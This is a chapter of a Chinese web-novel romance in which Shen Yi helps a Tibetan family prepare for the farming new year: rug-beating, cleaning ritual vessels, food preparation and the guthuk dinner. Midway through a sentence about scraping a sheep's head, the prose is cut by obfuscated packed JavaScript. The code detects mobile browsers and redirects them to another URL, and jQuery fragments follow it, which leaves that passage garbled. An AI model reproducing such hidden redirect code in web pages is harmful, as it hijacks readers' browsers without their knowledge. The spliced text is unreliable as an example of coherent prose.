时间转瞬而逝，似乎前天还在山南，今天就在准备藏历农耕新年。
藏历十一月最后的那个清晨，沈翊被院子里传来的规律敲击声唤醒。
他披衣起身，推开窗户，看见尼玛旺堆正背对着他，用木槌一下下敲打着什么。晨光将他宽厚的肩膀勾勒成金色的剪影，每一下挥动都带着充足的力量，令人心安。
沈翊看了一会儿才辨认出来，那是用牛羊毛混合编织的厚毯，需要在冬季最后的日子里反复捶打，除去积攒了一冬的灰尘与湿气，才能在新年时重新铺在客厅比较重要的位置。
当然如果有新织的可以直接铺。
“醒了？”尼玛旺堆没有回头，手里的动作却停了停，“吵到你了？”
“没有。”沈翊趴在二楼窗台上，看着白气从自己口中呼出又消散，“需要帮忙吗？”
尼玛旺堆这才转身。他的脸颊被晨风吹得微红，额角有细密的汗珠，笑起来时眼睛眯成两条缝：“你来试试？”
沈翊下楼时，尼玛旺堆已经将木槌递了过来。那槌子比看起来沉重得多，沈翊接过来时手腕一沉。尼玛旺堆的手适时托住了他的肘部：“腰发力，不是用手臂。”
他站到沈翊身后，几乎是一个半包围的姿态，双手虚扶在沈翊的腰侧：“这样，感受槌子落下去的惯性。”
沈翊试着挥了一下，动作笨拙得像刚学走路的孩童。尼玛旺堆轻笑一声，那笑声振动着胸腔，贴着沈翊的后背传来。然后他的手覆了上来，不是握住，只是轻轻搭着，引导沈翊完成一个完整的弧线。
“对，就是这样。”尼玛旺堆的声音就在他耳畔，带着藏语特有的韵律，“再来一次。”
那个早晨，沈翊学会了捶打毯子，学会了分辨不同材质的编织物需要不同的力度，学会了尼玛旺堆家祖传的、在特定角度捶打能让纤维更蓬松的诀窍。更重要的是，他学会了在尼玛旺堆的体温包裹下，如何让自己的心跳不至于太过喧哗。
“好了。”半小时后，尼玛旺堆接过木槌，“剩下的我来。你去喝早茶，阿妈煮了新的酥油茶。”
沈翊没有立刻离开。他站在院子里，看着尼玛旺堆重新开始规律的捶打。阳光完全升起来了，照亮空气中飞舞的细小纤维，像一场金色的雪。尼玛旺堆的藏袍袖子挽到手肘，小臂的肌肉随着动作起伏，青筋在古铜色的皮肤下隐约可见。
沈翊忽然想起大学时读过的诗句——“劳动使大地变得神圣”。当时他不能理解，现在却忽然懂了：不是劳动本身神圣，而是当一个人全心全意地投入劳作，当他身体的韵律与土地的节拍合二为一，那种专注、那种投入、那种与生命本源的联系，会让旁观者也感到一种近乎宗教的宁静。
尼玛旺堆就是这样的存在。他劈柴、喂牛、捶打毯子、修理农具，每一个动作都流畅得像自然现象，像风吹过草原，像水流过石滩。
沈翊曾经生活过的那个世界，劳动是换取生存的手段，是异化的、需要逃离的负担。可在这里，劳动是生活本身，是人与土地、与季节、与传统持续不断的对话。
“看入迷了？”德吉次仁不知何时出现在他身边，手里端着两碗酥油茶。
沈翊接过一碗，热度透过瓷碗熨烫着掌心：“他……很擅长这些。”
“我弟弟吗？”德吉次仁顺着他的目光看去，眼里有骄傲，也有某种复杂的情绪，“他是把自己逼成这样的。小时候其他孩子都在玩，他就喜欢跟在阿爸后面学怎么绑缰绳，怎么看云识天气。阿爸走后，他十岁就能独自放牧三十头牛，独自修理家具，他成为了这个家实际上的‘父亲’。”
她顿了顿，喝了一口茶：“他也是村里为数不多的大学生之一。你知道吗？他高考分数够去内地很好的学校，但他选了西藏大学。我问为什么，他说‘阿妈一个人在家，我走远了不放心’。”
沈翊没有说话。碗里的酥油茶泛起细细的涟漪。
“他是个傻子。”德吉次仁轻声说，“太重感情，太负责任。有时候我希望他能自私一点，像城里那些年轻人一样，只想着自己的前途和快乐。”
“那样就不是他了。”沈翊听见自己说。
德吉次仁转头看他，目光温和，语气里充满无奈：“是啊……你说得对。那样就不是他了。”
她离开时拍了拍沈翊的肩膀，力道不轻不重，像一个无声的认可。
藏历十二月一日索朗罗萨【农耕新年】——日喀则的新年，是比藏历新年更早到来的盛大节日。进入十二月后，整个村庄都进入了某种有序的忙碌。
尼玛旺堆家的准备工作从“古突”之夜的前三天就开始了。
第一天是彻底的大扫除。
这不是普通的清扫，而是一种近乎仪式般的净化。
阿妈米玛啦尽管身体虚弱，仍然坚持要参与。她戴着头巾，坐在卡垫上指挥：哪些家具需要搬到院子里曝晒，哪些唐卡需要小心取下除尘，佛堂里的每一盏酥油灯都要擦拭得锃亮。
沈翊负责擦拭那些银制和铜制的器皿，供奉用的水碗、敬酒的壶、盛放青稞的容器。尼玛旺堆坐在他对面，手里是另一堆待擦的器皿。两人之间只隔着一盆温水，和水中倒映的、摇晃的天光。
“这个图案是什么意思？”沈翊拿起一个碗，碗壁上刻着复杂的纹样。
尼玛旺堆接过去，指尖无意识地抚过那些刻痕：“这是‘永固’，藏语叫‘扎西达杰’。你看这些缠绕的线条，没有起点也没有终点，象征着福运绵延不绝。”
他的手指修长，指甲修剪得很干净，指腹有长期劳作留下的茧。当那些手指在古老的纹样上游走时，沈翊忽然产生一种错觉，仿佛尼玛旺堆不是在解释一个图案，而是在诉说着属于他们的审美。
“那这个呢？”沈翊拿起一个挂画问。
“这是‘和气四瑞’。”尼玛旺堆的眼睛亮起来，“大象、猴子、兔子、鸟，一个托着一个。说的是它们如何互相尊重，共享一棵树的故事。象征和睦、互助。”
他讲起故事来有一种独特的魅力，不是照本宣科，而是像在回忆亲身经历。讲到猴子如何机智，兔子如何善良，鸟如何最先发现果树时，他的表情会随着角色变换，时而蹙眉时而微笑。沈翊发现自己不是在听故事，而是在看一场独角戏——而他是唯一的观众。
“你很喜欢这些。”沈翊说。
尼玛旺堆愣了一下，随即不好意思地笑了：“小时候阿妈讲的睡前故事就是这些。后来上学了，读到书本上一样的记载，会觉得……很神奇。原来我从小听到大的故事，已经在这个民族里流传了一千多年。”
他低下头继续擦拭器皿，声音变得很轻：“有时候我觉得自己像一棵树，根扎在这片土地里太深了，深到能尝到一千年前的雨水。”
沈翊没有说话。他忽然理解了那种沉重，不是负担，而是某种丰饶的、让你无法轻易离开的牵连。就像此刻手中的铜碗，被无数双手擦拭过，盛放过无数次的供奉，早已不是一件器物，而是一个家庭的回忆容器。
第二天是准备“新年”的要用的羊头、肉类、牛肺、牛羊肠等等。
尼玛旺堆和沈翊去烤羊头外的杂毛，阿妈米玛啦和沈翊去弄牛肺和牛羊肠，还有煮其他的肉。
沈翊看着尼玛旺堆用火.枪把牛头的全方位烤一遍，黝黑黝黑的，到这里还没有结束，他又拿起刀，把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182996|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表层烤焦的毛刮下来，重复几次。最后拿着去清洗。
阿妈米玛啦和德吉次仁此刻正在水边准备往羊肠里填充的食物，包括：“羊血、剁碎的肉、盐、葱、辣椒等其他藏式香料”混合灌入肠衣里，煮熟备用。
沈翊问：“那羊头不用现在煮？”
德吉次仁把最后一个牛肠灌满后说：“新年的早上煮就可以了。”而尼玛旺堆也把羊头洗干净了。
这天德吉次仁和尼玛旺堆还二楼厨房放干牛粪的地方，填满了。他们说，新年第一天是不能去拿。
第三天就是‘古突’。
“古突”是藏历十二月二十九日的晚餐，一种面疙瘩汤。但制作过程本身就是一场仪式。
阿妈米玛啦将全家人召集到厨房，包括沈翊。她面前摆着一大盆和好的面，旁边是九种不同的“馅料”：辣椒代表嘴上比较会说的，羊毛代表性格比羊毛还温柔，盐巴代表懒惰，瓷片代表好吃懒做，碳代表心黑，纸代表这个人会偷窃，白石头代表这个人很善良、黑石头代表心比较坏、太阳形状的面片代表光明，月亮代表……
“我们家里是大家一起做，”德吉次仁解释道，“把不同的馅料包进去。吃饭的时候，谁吃到什么，就代表来年会有相应的性格或运气。”
沈翊学得很认真。他的手指不像尼玛旺堆那样灵巧，捏出的面疙瘩大小不一，有的还露馅。尼玛旺堆看了直笑，坐到他身边，握住他的手：“这样，拇指和食指这样用力。”
他的手完全包裹住沈翊的手。面团在两人指尖被揉捏、塑形，渐渐变成一个匀称的圆球。沈翊能感觉到尼玛旺堆掌心的温度，感觉到他指节用力的方式，感觉到自己手背上逐渐升高的热度。
“会了？”尼玛旺堆松开手，声音有些哑。
沈翊点点头，不敢看他。
接下来的时间里，他机械地捏着面疙瘩，脑海里反复回放的却是那短暂的包裹，那不仅仅是教学，那是某种更亲密的、更私人的接触。
尼玛旺堆教他放牛时没有这样握他的手，教他骑马时没有，甚至在扎央宗拉他上来时也没有。
这不一样。沈翊的心脏在胸腔里沉沉地跳。
这不一样。
晚餐时，阿妈米玛啦特意让沈翊坐在她身边。
老人家的手已经有些颤抖，但还是坚持为沈翊盛了满满一碗“古突”。吃饭的过程充满欢笑，德吉次仁吃到了
辣椒，夸张地喊“我明年要变成泼妇了”；尼玛旺堆吃到了羊毛和白石头，阿妈米玛啦欣慰地说“我儿子永远这么善良”。
沈翊的第一个面疙瘩里是太阳。
“光明。”尼玛旺堆看着他，眼神在酥油灯的光晕里显得格外柔软，“你会有光明的一年。”
沈翊嚼着那片面疙瘩，忽然觉得喉咙发紧。不是因为难吃，而是因为这句话里的祝愿太过美好，美好得像一个他不敢接住的礼物。
那一刻，沈翊感到眼眶发热。
他低下头，假装被热气熏到了眼睛。而桌子对面，尼玛旺堆正静静看着他，碗里的面疙瘩已经凉了，他却浑然不觉。
把自己吃饱后的剩饭倒进提前做好的‘驱魔神’傍边，还要用做好的糌粑团沾上手印，在大拇指处从脚底的衣物上拔掉几根毛。一块扔进放着‘驱魔神’的旧陶罐里。这象征着人们在一年中的病痛、灾害以及不详等等全部一起带走。
随后德吉次仁抱着旧陶罐往外走，尼玛旺堆手持火把走进每个房间转一下嘴里还念叨着什么，沈翊在后面负责看火中有没有掉在地上。转完后，跑出家门，将其仍在十字路口焚烧。
放鞭炮。
这一晚让沈翊记忆深刻。